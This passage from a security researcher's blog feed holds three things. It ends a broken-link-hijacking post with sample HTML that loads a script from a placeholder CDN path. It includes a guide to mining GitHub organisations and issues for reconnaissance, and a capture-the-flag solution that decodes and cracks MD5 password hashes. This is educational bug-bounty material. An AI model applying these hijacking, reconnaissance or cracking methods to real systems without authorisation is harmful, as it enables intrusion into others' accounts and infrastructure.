&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;//cdn.example/1.0.0/script.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;cdn.example allows us to add our project and host a malicious JS file.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- http://example.edu/?link=maliciouspath --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;charset&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;width=device-width&amp;#34;&lt;/span&gt; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;Broken Link Hijacking&amp;lt;/&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;src&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;//cdn.example/maliciouspath/script.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;!-- ## Tools
### broken-link-checker
broken-link-checker will crawl a target and look for broken links. Whenever I use this tool I like to run:
```no-highlight
$ blc -rof --filter-level 3 https://example.com/
```
After a while I often find myself adapting it to something like this in order to prevent false positives:
```no-highlight
$ blc -rfoi --exclude linkedin.com --exclude youtube.com --filter-level 3 https://example.com/
```
Link: [https://github.com/stevenvachon/broken-link-checker](https://github.com/stevenvachon/broken-link-checker)
### twitterBFTD
[misterch0c](https://twitter.com/misterch0c) released a little script that finds expired domains in tweets.
Link: [https://github.com/misterch0c/twitterBFTD](https://github.com/misterch0c/twitterBFTD) --&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;p&gt;[1] GitHub. (2017). cure53/HTTPLeaks. [online] Available at: &lt;a href="https://github.com/cure53/HTTPLeaks"&gt;https://github.com/cure53/HTTPLeaks&lt;/a&gt; [Accessed 3 Sep. 2017].&lt;/p&gt;</description></item><item><title>On-platform GitHub Reconnaissance</title><link>https://edoverflow.com/2017/github-recon/</link><pubDate>Thu, 31 Aug 2017 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2017/github-recon/</guid><description>&lt;p&gt;&lt;em&gt;Note: Please keep in mind, that all of this does not work if you are not signed in to GitHub.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;When searching for issues related to a target I often like to quickly look up their GitHub organization on Google.&lt;/p&gt;
&lt;p&gt;So let&amp;rsquo;s say Gratipay says nothing about being open source. A quick Google &amp;ldquo;Gratipay GitHub&amp;rdquo; should return Gratipay&amp;rsquo;s org page on GitHub.&lt;/p&gt;
&lt;p&gt;Then from there I am going to check what repos actually belong to the org and which are forked. You can do this by selecting the &lt;code&gt;Type:&lt;/code&gt; dropdown on the right hand side of the page.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/29928188-9f3f47ae-8e68-11e7-865e-1f34144a3b57.png" alt="img" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Set it to &lt;code&gt;Sources&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Otherwise just add the &lt;code&gt;&amp;amp;type=source&lt;/code&gt; param. (&lt;a href="https://github.com/gratipay?utf8=%E2%9C%93&amp;amp;q=&amp;amp;type=source"&gt;https://github.com/gratipay?utf8=%E2%9C%93&amp;amp;q=&amp;amp;type=source&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Now, I am going to take a look at the different languages that the projects are written in. My favourite language is Python so I might start focusing on Python projects, but for recon I will mostly just keep note of the different languages.&lt;/p&gt;
&lt;p&gt;On Gratipay most projects are written in Python.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;noted&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;After that I will start using the GitHub search bar to look for specific keywords.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;org:gratipay hmac&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/29928189-9f67d7dc-8e68-11e7-9cb3-f432bfa978d7.png" alt="img" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;There are 4 main sections to look out for here.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Repositories&lt;/code&gt; is nice for dedicated projects related to the keyword. For example, if the keyword is &amp;ldquo;password manager&amp;rdquo;, I might find they are building a password manager.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Code&lt;/code&gt; is the big one. You can search for classic lines of code that cause security vulnerabilities across the whole organization.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Commits&lt;/code&gt; is not usually my favourite area to look at manually, but if I see a low number I might have a quick look.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Issues&lt;/code&gt; this is the second biggest and will help you all with your recon. &lt;strong&gt;This is the gold mine.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Companies share so much information about their infrastructure in issue discussions and debates. Look for domains and subdomains in those tickets.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Chris: &amp;ldquo;Oh, hey John. We forgot to add this certificate to this domain: vuln.example.com.&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;noted&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Classic Chris.&lt;/p&gt;
&lt;p&gt;Sometimes I even find team members referencing actual theoretical security issues that they are unable to exploit. Try exploiting them or keep note, as the same issue might affect another endpoint.&lt;/p&gt;
&lt;p&gt;Also trust me when I say I have seen people talking about actual vulns on GitHub issues and forgetting about them.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/29928146-7d998d8a-8e68-11e7-91c1-39a460502b51.png" alt="img" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Submit domains as your search query. Issues will sometimes discuss technical stuff related to that domain.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Oh, that thing is running NodeJS. Yeah, it&amp;rsquo;s old and broken.&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;noted&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Next look at org member&amp;rsquo;s projects. They might reveal more info too. I know that if you check Gratipay, you will see we all work on different projects and come from different backgrounds. This can help when understanding who plays what role in a discussion on GitHub issues.&lt;/p&gt;
&lt;p&gt;Finally, this is a fun one and I keep on finding issues like this. Check the blame and history of a file. You will see how the code developed and what the developers were thinking as they went along.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/29928438-51de135e-8e69-11e7-86d9-e689b03eedcc.png" alt="img" loading="lazy" decoding="async"&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/29928439-51de1a48-8e69-11e7-8e7a-d33aed12d475.png" alt="img" loading="lazy" decoding="async"&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/29928440-51f3fc82-8e69-11e7-9191-fda8b278848e.png" alt="img" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;There you go. Hopefully, this helps with your recon. 😄&lt;/p&gt;</description></item><item><title>Capture the flag: reversing the passwords (Solutions)</title><link>https://edoverflow.com/2017/ctf-reversing-the-passwords/</link><pubDate>Wed, 09 Aug 2017 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2017/ctf-reversing-the-passwords/</guid><description>&lt;h2 id="step-1---recovering-the-corrupted-data"&gt;Step 1 - Recovering the corrupted data&lt;/h2&gt;
&lt;p&gt;According to the doc, the following stream is corrupted:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;7b 0a 20 a0 22 65 76 e5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;6e 74 22 ba 20 22 70 e1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;73 73 77 ef 72 64 5f e3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;68 61 6e e7 65 22 2c 8a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;20 20 22 f5 73 65 72 ee
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;61 6d 65 a2 3a 20 22 e2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;63 6f 6c ec 69 6e 22 ac
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;0a 20 20 a2 6f 6c 64 df
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;70 61 73 f3 77 6f 72 e4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;22 3a 20 a2 3a 5c 78 c3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;37 5c 78 c6 34 5c 6e dc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;78 41 46 a9 29 37 43 dc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;78 31 35 dc 78 44 30 dc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;78 46 33 dc 78 44 45 e9
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;55 3b 22 ac 0a 20 20 a2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;6e 65 77 df 70 61 73 f3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;77 6f 72 e4 22 3a 20 a2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;39 5c 78 c6 41 5c 78 b9
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;39 5c 78 c3 41 5c 78 c5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;44 5c 78 c6 32 58 53 c7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;5c 78 44 c4 2d 5c 78 c3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;32 5c 78 b8 45 7a 48 eb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;22 2c 0a a0 20 22 74 e9
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;6d 65 73 f4 61 6d 70 a2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3a 20 31 b5 30 31 38 b5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;38 38 36 b0 30 30 30 8a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;7d 0a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Running &lt;code&gt;xxd -r -p&lt;/code&gt; we can see that individual characters are readable and some are not.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/29036036-fbbb3fea-7b5a-11e7-9eb0-89e1758854fa.png" alt="image" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;The readable ones help us figure out what we need to change and bit-by-bit, while playing around we start noticing a clear pattern.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;▶&lt;/span&gt; hex(&lt;span style="color:#ae81ff"&gt;0xE5&lt;/span&gt; &lt;span style="color:#f92672"&gt;^&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0x80&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;0x65&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Admittedly, figuring out the pattern took a bit of trial and error, but eventually I constructed the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;event&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;password_change&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;bcollin&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;old_password&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;:\xC7\xF4\n\xAF))7C\x15\xD0\xF3\xDEiU;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;new_password&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;9\xFA\x)9\xCA\xED\xF2XSG\xDD-\xC2\x8EzHk&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;timestamp&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1501858860000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What I found out later (I will explain this in more detail later) is that the &lt;code&gt;username&lt;/code&gt; and the &lt;code&gt;timestamp&lt;/code&gt; were only really there to verify the data after I had fixed it.&lt;/p&gt;
&lt;h2 id="step-2---gibberish-to-hash"&gt;Step 2 - Gibberish to hash&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;old_password&lt;/code&gt; hash was already escaped, so I could make it readable as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;▶&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\xC7\xF4\n\xAF&lt;/span&gt;&lt;span style="color:#e6db74"&gt;))7C&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\x15\xD0\xF3\xDE&lt;/span&gt;&lt;span style="color:#e6db74"&gt;iU;&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;encode(&lt;span style="color:#e6db74"&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;3ac7f40aaf2929374315d0f3de69553b&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The second one required a bit more work, but eventually I got there:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;▶&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\x39\xFA\x99\xCA\xED\xF2\x58\x53\x47\xDD\x2D\xC2\x8E\x7A\x48\x6B&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;encode(&lt;span style="color:#e6db74"&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;39fa99caedf2585347dd2dc28e7a486b&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The doc states that a hashing algorithm was used to make recovery harder. By measuring the length of the hashes we can assume that MD5 was used to store the passwords, which we will later see is an insecure method to store passwords.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;▶&lt;/span&gt; len(&lt;span style="color:#e6db74"&gt;&amp;#39;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\xC7\xF4\n\xAF&lt;/span&gt;&lt;span style="color:#e6db74"&gt;))7C&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\x15\xD0\xF3\xDE&lt;/span&gt;&lt;span style="color:#e6db74"&gt;iU;&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;encode(&lt;span style="color:#e6db74"&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="step-3---reversing-the-hashes"&gt;Step 3 - &amp;ldquo;Reversing&amp;rdquo; the hashes&lt;/h2&gt;
&lt;p&gt;This is the part where I needed Jobert&amp;rsquo;s help. There were two vital moments that allowed me to figure out the solution. As you may know reversing a hash in a technological sense is impossible, since hashing algorithms are one-way functions. In order to get to the passwords you would need to crack the hashes first. I attempted this to no avail. Trust me, I tried &lt;strong&gt;everything&lt;/strong&gt;. Aside from running cracking software, I hashed every single word in the doc and looked up keywords to find more keywords that could be linked to the password. This is where I started looking up Barry Collin and trying to figure out a possible hint. Yes, I assumed this CTF would be another Cicada 3301! Finally, after hours of hard work, one simple little mistake by Jobert made me focus on something else and slowly get to the solution: Jobert accidentally got Barry&amp;rsquo;s name wrong and called him Brian.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/29036889-8e0273d4-7b5e-11e7-9e90-86d35285307e.png" alt="image" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;This is when I jumped back to the &amp;ldquo;reversing&amp;rdquo; aspect of things. This was the final moment when Jobert helped me with a final hint.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://user-images.githubusercontent.com/18099289/29036959-d361ecc0-7b5e-11e7-97c8-e8a50738fc87.png" alt="image" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;This was the lightbulb moment. I did not have to crack the hashes as is, I had to literally reverse the strings:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;▶&lt;/span&gt; old_password &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;3ac7f40aaf2929374315d0f3de69553b&amp;#39;&lt;/span&gt;[::&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;▶&lt;/span&gt; new_password &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;39fa99caedf2585347dd2dc28e7a486b&amp;#39;&lt;/span&gt;[::&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;▶&lt;/span&gt; print(old_password)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;b35596ed3f0d5134739292faa04f7ca3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;▶&lt;/span&gt; print(new_password)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;b684a7e82cd2dd7435852fdeac99af93
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="step-4---cracking-the-hashes"&gt;Step 4 - Cracking the hashes&lt;/h2&gt;
&lt;p&gt;Now finally, the fun part!&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;old_password&lt;/code&gt; hash was &lt;code&gt;md5(md5)&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ python pybozocrack.py -s b35596ed3f0d5134739292faa04f7ca3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;b35596ed3f0d5134739292faa04f7ca3:2a9d119df47ff993b662a8ef36f9ea20
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ python pybozocrack.py -s 2a9d119df47ff993b662a8ef36f9ea20
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2a9d119df4ff993b662a8ef36f9ea20:p4ssw0rd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;new_password&lt;/code&gt; required the use of &lt;a href="https://crackstation.net/"&gt;Crackstation&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-no-highlight" data-lang="no-highlight"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;b684a7e82cd2dd7435852fdeac99af93 - md5(md5) - thisiscrazy
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="what-did-i-learn"&gt;What did I learn?&lt;/h2&gt;
&lt;p&gt;The most secure method of password storage, which will keep hackers busy is
simply reversing an MD5 hash. 😛&lt;/p&gt;</description></item><item><title>GitHub for Bug Bounty Hunters</title><link>https://edoverflow.com/2017/github-for-bugbountyhunters/</link><pubDate>Tue, 08 Aug 2017 00:00:00 +0000</pubDate><author>contact@edoverflow.com (EdOverflow)</author><guid>https://edoverflow.com/2017/github-for-bugbountyhunters/</guid><description>&lt;p&gt;GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.&lt;/p&gt;
&lt;h2 id="mass-cloning"&gt;Mass Cloning&lt;/h2&gt;
&lt;p&gt;You can just do your research on github.com, but I would suggest cloning all the target&amp;rsquo;s repositories so that you can run your tests locally. I would highly recommend @mazen160&amp;rsquo;s &lt;a href="https://github.com/mazen160/GithubCloner"&gt;GitHubCloner&lt;/a&gt;. Just run the script and you should be good to go.&lt;/p&gt;
